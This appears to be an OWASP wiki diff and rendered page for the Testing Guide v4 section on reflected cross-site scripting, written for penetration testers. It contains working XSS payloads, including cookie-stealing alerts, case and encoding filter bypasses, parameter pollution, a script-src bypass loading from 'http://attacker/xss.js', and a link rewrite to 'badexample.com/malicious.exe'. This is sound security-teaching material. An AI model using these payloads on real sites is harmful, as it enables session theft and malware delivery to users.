Difference between revisions of "Testing for Reflected Cross site scripting (OWASP-DV-001)"

From OWASP
Jump to: navigation, search
(References)
(30 intermediate revisions by 8 users not shown)
Line 1: Line 1:
{{Template:OWASP Testing Guide v3}}
+
{{Template:OWASP Testing Guide v4}}
 
+
'''This is a draft of a section of the new Testing Guide v3'''
+
  
 
== Brief Summary ==
 
== Brief Summary ==
  
Reflected [http://www.owasp.org/index.php/Cross_Site_Scripting cross-site scripting] (XSS) is another name for non-persistent  
+
Reflected [[Cross-site Scripting (XSS)]] is another name for non-persistent  
 
XSS, where the attack doesn't load with the vulnerable web application  
 
XSS, where the attack doesn't load with the vulnerable web application  
 
but is originated by the victim loading the offending URI. In this  
 
but is originated by the victim loading the offending URI. In this  
Line 11: Line 9:
 
vulnerability.
 
vulnerability.
  
<br>
 
 
== Description of the Issue ==  
 
== Description of the Issue ==  
  
Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and  
+
Reflected XSS attacks are also known as non-persistent XSS attacks and, since the attack payload is delivered and executed via a single request and response, they are also called first-order XSS or type 1. These are the most frequent type of XSS attacks found nowadays.
are the most frequent type of XSS attacks found nowadays.  
+
  
 
When a web application is vulnerable to this type of attack, it will  
 
When a web application is vulnerable to this type of attack, it will  
Line 21: Line 17:
 
operandi of the attack includes a design step, in which the attacker  
 
operandi of the attack includes a design step, in which the attacker  
 
creates and tests an offending URI, a social engineering step, in which  
 
creates and tests an offending URI, a social engineering step, in which  
he convinces her victims to load this URI on their browsers, and the eventual  
+
she convinces her victims to load this URI on their browsers, and the eventual  
execution of the offending code -using the victim's credentials-.  
+
execution of the offending code &mdash; using the victim's credentials.  
  
Commonly the attacker's code is in the Javascript language, but also
+
Commonly the attacker's code is written in the Javascript language, but
other scripting languajes like ActionScript, and VBScript.  
+
other scripting languages are also used, e.g., ActionScript and VBScript.  
  
Attackers typically profit from these vulnerabilities in order to  
+
Attackers typically leverage these vulnerabilities to  
install key loggers, steal victim cookies, clipboard theft, and  
+
install key loggers, steal victim cookies, perform clipboard theft, and  
 
change the content of the page (e.g., download links).  
 
change the content of the page (e.g., download links).  
  
 
One of the important matters about exploiting XSS vulnerabilities is character encoding.  
 
One of the important matters about exploiting XSS vulnerabilities is character encoding.  
 
In some cases, the web server or the web application could not be filtering some  
 
In some cases, the web server or the web application could not be filtering some  
encodings of characters, so for example the web application might filter out "<script>",  
+
encodings of characters, so, for example, the web application might filter out "<script>",  
 
but might not filter %3cscript%3e which simply includes another encoding of tags.  
 
but might not filter %3cscript%3e which simply includes another encoding of tags.  
A nice tool for testing character encodings is OWASP's CAL9000.
+
A nice tool for testing character encodings is OWASP's [[OWASP CAL9000 Project|CAL9000]].  
<br>
+
== Black and Grey Box testing and example ==
+
The aim of black-box testing for reflected XSS vulnerabilities is to tamper with the HTML output generated through links and other forms of requests and understanding how to do it.  
+
  
 +
== Black Box testing and example ==
 +
A black-box test will include at least three phases:
 +
 +
1. Detect input vectors. The tester must determine the web application's
 +
variables and how to input them in the web application. See the example below.
 +
 +
2. Analyze each input vector to detect potential vulnerabilities. To detect an XSS vulnerability, the
 +
tester will typically use specially crafted input data with each input vector. Such input data is
 +
typically harmless, but trigger responses from the web browser that
 +
manifests the vulnerability. Testing data can be generated by using a web application fuzzer or manually.
 +
Some example of such input data are the following:
 +
<pre>
 +
<script>alert(123)</script>
 +
</pre>
 +
<pre>
 +
“><script>alert(document.cookie)</script>
 +
</pre>
 +
 +
3. For each vulnerability reported in the previous phase, the tester
 +
will analyze the report and attempt to exploit it with an attack that
 +
has a realistic impact on the web application's security.
 +
 +
''' Example 1 '''
 
For example, consider a site that has a welcome notice " Welcome %username% " and a download link.  
 
For example, consider a site that has a welcome notice " Welcome %username% " and a download link.  
 
<br><br>
 
<br><br>
 
[[Image:XSS Example1.png]]
 
[[Image:XSS Example1.png]]
 
<br><br>
 
<br><br>
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.  
+
The tester must suspect that every data entry point can result in an XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.  
 
Let's try to click on the following link and see what happens:
 
Let's try to click on the following link and see what happens:
<pre>http://localhost/tag/xss-s-tag-1.php?user=<script>alert(123)</script></pre>
+
<pre>http://example.com/index.php?user=<script>alert(123)</script></pre>
  
 
If no sanitization is applied this will result in the following popup:
 
If no sanitization is applied this will result in the following popup:
Line 52: Line 68:
 
[[Image:alert.png]]
 
[[Image:alert.png]]
 
<br><br>
 
<br><br>
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):
+
This indicates that there is an XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link.
<pre>http://localhost/tag/xss-s-tag-1.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");  
+
 
 +
''' Example 2 '''
 +
Let's try other piece of code (link):
 +
<pre>http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");  
 
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> </pre>
 
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> </pre>
  
Line 61: Line 80:
 
<br><br>
 
<br><br>
 
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.
 
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.
<br><br>
 
An important set of tips that testers must have in mind when working with cross-site scripting vulnerabilities:
 
  
'''Filtering''': ex. a web application or a web server ( like apache mod_rewrite ) can parse the URL matching a regular expression like this: /((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i.
+
=== Bypass XSS filters  ===
This regular expression prevents the use of alphanumeric characters inside brackets and slashes. One way to execute in this regular expression could be using "javascript:", if we dont need to close any other kind of tag.  
+
Most web applications today use some sort of sanitization. Yet,
...<br><br>
+
some remain vulnerable. Reflected cross-site scripting attacks are
 +
prevented either at the side of the server, by sanitization or web
 +
application firewall, or at the side of the client by prevention
 +
mechanisms that are embedded in modern web browsers.
 +
 
 +
Since most of the clients do not update their browsers or, if updated, the filter could be disabled, the tester cannot count on this and he has to test for vulnerabilities assuming that web browsers will not prevent the attack. Moreover is important to note that some of these filters can be circumvented.
 +
(<b>Note</b>: In a grey-box or white-box test, the tester might access the source code and analyze the server-side sanitization procedure to decide if and how it can be circumvented).
 +
 
 +
The web application could implement elementary blacklist-based filters attempting to avoid XSS attacks. These type of filters usually remove or encode expressions that could be dangerous (for example the <script> tag) within request parameters.
 +
 
 +
''' Example 3: Tag Attribute Value '''
 +
<br>
 +
Since these filters are based on a blacklist, they could not block every type of expressions. In fact, there are cases in which an XSS exploit can be carried out without the use of <script> tags and even without the use of characters such as " < > and / that are commonly filtered.
 +
For example, the web application could use the user input value to fill an attribute, as shown in the following code:
 +
<pre>
 +
<input type="text" name="state" value="INPUT_FROM_USER">
 +
</pre>
 +
 
 +
Then an attacker could submit the following code:
 +
<pre>
 +
" onfocus="alert(document.cookie)
 +
</pre>
 +
 
 +
''' Example 4: Different syntax or enconding '''
 +
<br>
 +
In some cases it is possible that signature-based filters can be simply defeated by obfuscating the attack. Typically you can do this through the insertion of unexpected variations in the syntax or in the econding. These variations are tolerated by browsers when the code is returned, and they could also be accepted by the filter.
 +
Following some examples:
 +
<pre>
 +
"><script >alert(document.cookie)</script >
 +
</pre>
 +
 
 +
<pre>
 +
"><ScRiPt>alert(document.cookie)</ScRiPt>
 +
</pre>
 +
 
 +
<pre>
 +
"%3cscript%3ealert(document.cookie)%3c/script%3e
 +
</pre>
 +
 
 +
''' Example 5: Bypassing non-recursive filtering '''
 +
<br>
 +
Sometimes the sanitization is applied only once and it is not being performed recursively. In this case the attacker can beat the filter by sending a string like this one:
 +
<pre>
 +
<scr<script>ipt>alert(document.cookie)</script>
 +
</pre>
 +
 
 +
''' Example 6: Including external script '''
 +
<br>
 +
Now suppose that developers of the target site implemented the following code to protect the input from the inclusion of external script:
 +
<pre>
 +
<?
 +
  $re = "/<script[^>]+src/i";
 +
 
 +
  if (preg_match($re, $_GET['var']))  
 +
  {
 +
      echo "Filtered";
 +
      return;
 +
  }
 +
  echo "Welcome ".$_GET['var']." !";
 +
?>
 +
</pre>
 +
 
 +
In this scenario there is a regular expression checking if <b><script [anything but the character: '>' ] src</b> is inserted. This is useful for filtering expressions like
 +
<pre>
 +
<script src="http://attacker/xss.js"></script>
 +
</pre>
 +
which is a common attack. But, in this case, it is possible to bypass the sanitization by using the ">" character in an attribute between script and src, like this:  
 +
<pre>
 +
http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>
 +
</pre>
 +
This will exploit the reflected cross site scripting vulnerability shown before, executing the javascript code stored on the attacker's web server as if it was
 +
originating from the victim web site, http://example/.
 +
 
 +
''' Example 7: HTTP Parameter Pollution (HPP) '''
 +
<br>
 +
Another method to bypass filters is the HTTP Parameter Pollution, this technique was first presented by Stefano di Paola and Luca Carettoni in 2009 at the OWASP
 +
Poland conference. See the [[Testing for HTTP Parameter pollution (OWASP-DV-004)|Testing for HTTP Parameter pollution]] for more information.
 +
This evasion technique consists of splitting an attack vector between multiple parameters that have the same name. The manipulation of the value of each
 +
parameter depends on how each web technology is parsing these parameters, so this type of evasion is not always possible.
 +
If the tested environment concatenates the values of all parameters with the same name, then an attacker could use this technique in order to bypass pattern-
 +
based security mechanisms.
 +
<br>
 +
Regular attack:
 +
<pre>
 +
http://example/page.php?param=<script>[...]</script>
 +
</pre>
 +
Attack using HPP:
 +
<pre>
 +
http://example/page.php?param=<script&param=>[...]</&param=script>
 +
</pre>
 +
 
 +
''' Result expected '''
 +
<br>
 +
See the [[XSS Filter Evasion Cheat Sheet]] for a more detailed list of filter evasion techniques.
 +
Finally, analyzing answers can get complex. A simple way to do this is to use code that pops up a dialog, as in our example. This typically indicates that an attacker could execute arbitrary JavaScript of his choice in the visitors' browsers.
 +
 
 +
== Gray Box testing and example ==
 +
Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and how the user input is rendered back to the user might be known by the pen-tester.
 +
If source code is available (White Box), all variables received from users should be analyzed. Moreover the tester should analyze any sanitization procedures implemented to decide if these can be circumvented.
 +
 
 
== References ==
 
== References ==
 +
'''OWASP Resources'''<br>
 +
*[[XSS Filter Evasion Cheat Sheet]]
 
'''Books'''<br>
 
'''Books'''<br>
* Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applicatons", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
+
* Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applications", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
 
* Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
 
* Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
 
* Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3
 
* Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3
Line 78: Line 196:
 
* '''G.Ollmann''' - HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]
 
* '''G.Ollmann''' - HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]
 
* '''A. Calvo, D.Tiscornia''' - alert('A javascritp agent'): [http://corelabs.coresecurity.com/index.php?module=FrontEndMod&action=view&type=publication&name=alert%28A_javascritp_agent%29 Read] ( To be published )
 
* '''A. Calvo, D.Tiscornia''' - alert('A javascritp agent'): [http://corelabs.coresecurity.com/index.php?module=FrontEndMod&action=view&type=publication&name=alert%28A_javascritp_agent%29 Read] ( To be published )
'''Tools'''<br>
+
* '''S. Frei, T. Dübendorfer, G. Ollmann, M. May''' - Understanding the Web browser threat: [http://www.techzoom.net/publications/insecurity-iceberg/index.en Read]
* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
+
'''Tools''' <br>
CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners.
+
* '''[[OWASP CAL9000 Project|OWASP CAL9000]]'''  
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding
+
CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners. It's hosted as a reference at http://yehg.net/lab/pr0js/pentest/CAL9000/ .
This tool helps you encoding arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.
+
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding [mirror: http://yehg.net/e ]
* '''WebScarab''' - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
+
This tool helps you encode arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.
 +
* '''HackVertor''' - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php
 +
It provides multiple dozens of flexible encoding for advanced string manipulation attacks.
 +
* '''[[OWASP WebScarab Project|WebScarab]]'''
 
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols.  
 
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols.  
 
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/
 
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/
Line 91: Line 212:
 
* '''Burp Proxy''' - http://portswigger.net/proxy/
 
* '''Burp Proxy''' - http://portswigger.net/proxy/
 
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.
 
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.
<br>
+
* '''OWASP Zed Attack Proxy (ZAP)''' - [[OWASP_Zed_Attack_Proxy_Project]]
 +
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

Revision as of 11:59, 22 December 2012

This article is part of the new OWASP Testing Guide v4. 
At the moment the project is in the REVIEW phase.

Back to the OWASP Testing Guide v4 ToC: https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents Back to the OWASP Testing Guide Project: http://www.owasp.org/index.php/OWASP_Testing_Project

Contents


Brief Summary

Reflected Cross-site Scripting (XSS) is another name for non-persistent XSS, where the attack doesn't load with the vulnerable web application but is originated by the victim loading the offending URI. In this article we will see some ways to test a web application for this kind of vulnerability.

Description of the Issue

Reflected XSS attacks are also known as non-persistent XSS attacks and, since the attack payload is delivered and executed via a single request and response, they are also called first-order XSS or type 1. These are the most frequent type of XSS attacks found nowadays.

When a web application is vulnerable to this type of attack, it will pass unvalidated input sent through requests to the client. The common modus operandi of the attack includes a design step, in which the attacker creates and tests an offending URI, a social engineering step, in which she convinces her victims to load this URI on their browsers, and the eventual execution of the offending code — using the victim's credentials.

Commonly the attacker's code is written in the Javascript language, but other scripting languages are also used, e.g., ActionScript and VBScript.

Attackers typically leverage these vulnerabilities to install key loggers, steal victim cookies, perform clipboard theft, and change the content of the page (e.g., download links).

One of the important matters about exploiting XSS vulnerabilities is character encoding. In some cases, the web server or the web application could not be filtering some encodings of characters, so, for example, the web application might filter out "<script>", but might not filter %3cscript%3e which simply includes another encoding of tags. A nice tool for testing character encodings is OWASP's CAL9000.

Black Box testing and example

A black-box test will include at least three phases:

1. Detect input vectors. The tester must determine the web application's variables and how to input them in the web application. See the example below.

2. Analyze each input vector to detect potential vulnerabilities. To detect an XSS vulnerability, the tester will typically use specially crafted input data with each input vector. Such input data is typically harmless, but trigger responses from the web browser that manifests the vulnerability. Testing data can be generated by using a web application fuzzer or manually. Some example of such input data are the following:

<script>alert(123)</script>
“><script>alert(document.cookie)</script>

3. For each vulnerability reported in the previous phase, the tester will analyze the report and attempt to exploit it with an attack that has a realistic impact on the web application's security.

Example 1 For example, consider a site that has a welcome notice " Welcome %username% " and a download link.

XSS Example1.png

The tester must suspect that every data entry point can result in an XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. Let's try to click on the following link and see what happens:

http://example.com/index.php?user=<script>alert(123)</script>

If no sanitization is applied this will result in the following popup:

Alert.png

This indicates that there is an XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link.

Example 2 Let's try other piece of code (link):

http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); 
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> 

This produces the following behavior:

XSS Example2.png

This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.

Bypass XSS filters

Most web applications today use some sort of sanitization. Yet, some remain vulnerable. Reflected cross-site scripting attacks are prevented either at the side of the server, by sanitization or web application firewall, or at the side of the client by prevention mechanisms that are embedded in modern web browsers.

Since most of the clients do not update their browsers or, if updated, the filter could be disabled, the tester cannot count on this and he has to test for vulnerabilities assuming that web browsers will not prevent the attack. Moreover is important to note that some of these filters can be circumvented. (Note: In a grey-box or white-box test, the tester might access the source code and analyze the server-side sanitization procedure to decide if and how it can be circumvented).

The web application could implement elementary blacklist-based filters attempting to avoid XSS attacks. These type of filters usually remove or encode expressions that could be dangerous (for example the <script> tag) within request parameters.

Example 3: Tag Attribute Value
Since these filters are based on a blacklist, they could not block every type of expressions. In fact, there are cases in which an XSS exploit can be carried out without the use of <script> tags and even without the use of characters such as " < > and / that are commonly filtered. For example, the web application could use the user input value to fill an attribute, as shown in the following code:

<input type="text" name="state" value="INPUT_FROM_USER">

Then an attacker could submit the following code:

" onfocus="alert(document.cookie)

Example 4: Different syntax or enconding
In some cases it is possible that signature-based filters can be simply defeated by obfuscating the attack. Typically you can do this through the insertion of unexpected variations in the syntax or in the econding. These variations are tolerated by browsers when the code is returned, and they could also be accepted by the filter. Following some examples:

"><script >alert(document.cookie)</script >
"><ScRiPt>alert(document.cookie)</ScRiPt>
"%3cscript%3ealert(document.cookie)%3c/script%3e

Example 5: Bypassing non-recursive filtering
Sometimes the sanitization is applied only once and it is not being performed recursively. In this case the attacker can beat the filter by sending a string like this one:

<scr<script>ipt>alert(document.cookie)</script>

Example 6: Including external script
Now suppose that developers of the target site implemented the following code to protect the input from the inclusion of external script:

<?
   $re = "/<script[^>]+src/i";

   if (preg_match($re, $_GET['var'])) 
   {
      echo "Filtered";
      return; 
   }
   echo "Welcome ".$_GET['var']." !";
?>

In this scenario there is a regular expression checking if <script [anything but the character: '>' ] src is inserted. This is useful for filtering expressions like

<script src="http://attacker/xss.js"></script>

which is a common attack. But, in this case, it is possible to bypass the sanitization by using the ">" character in an attribute between script and src, like this:

http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT> 

This will exploit the reflected cross site scripting vulnerability shown before, executing the javascript code stored on the attacker's web server as if it was originating from the victim web site, http://example/.

Example 7: HTTP Parameter Pollution (HPP)
Another method to bypass filters is the HTTP Parameter Pollution, this technique was first presented by Stefano di Paola and Luca Carettoni in 2009 at the OWASP Poland conference. See the Testing for HTTP Parameter pollution for more information. This evasion technique consists of splitting an attack vector between multiple parameters that have the same name. The manipulation of the value of each parameter depends on how each web technology is parsing these parameters, so this type of evasion is not always possible. If the tested environment concatenates the values of all parameters with the same name, then an attacker could use this technique in order to bypass pattern- based security mechanisms.
Regular attack:

http://example/page.php?param=<script>[...]</script>

Attack using HPP:

http://example/page.php?param=<script&param=>[...]</&param=script>

Result expected
See the XSS Filter Evasion Cheat Sheet for a more detailed list of filter evasion techniques. Finally, analyzing answers can get complex. A simple way to do this is to use code that pops up a dialog, as in our example. This typically indicates that an attacker could execute arbitrary JavaScript of his choice in the visitors' browsers.

Gray Box testing and example

Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and how the user input is rendered back to the user might be known by the pen-tester. If source code is available (White Box), all variables received from users should be analyzed. Moreover the tester should analyze any sanitization procedures implemented to decide if these can be circumvented.

References

OWASP Resources

Books

  • Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applications", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
  • Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
  • Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3

Whitepapers

  • CERT - Malicious HTML Tags Embedded in Client Web Requests: Read
  • Rsnake - XSS Cheat Sheet: Read
  • cgisecurity.com - The Cross Site Scripting FAQ: Read
  • G.Ollmann - HTML Code Injection and Cross-site scripting: Read
  • A. Calvo, D.Tiscornia - alert('A javascritp agent'): Read ( To be published )
  • S. Frei, T. Dübendorfer, G. Ollmann, M. May - Understanding the Web browser threat: Read

Tools

CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners. It's hosted as a reference at http://yehg.net/lab/pr0js/pentest/CAL9000/ .

This tool helps you encode arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.

It provides multiple dozens of flexible encoding for advanced string manipulation attacks.

WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols.

XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.

A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.

Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.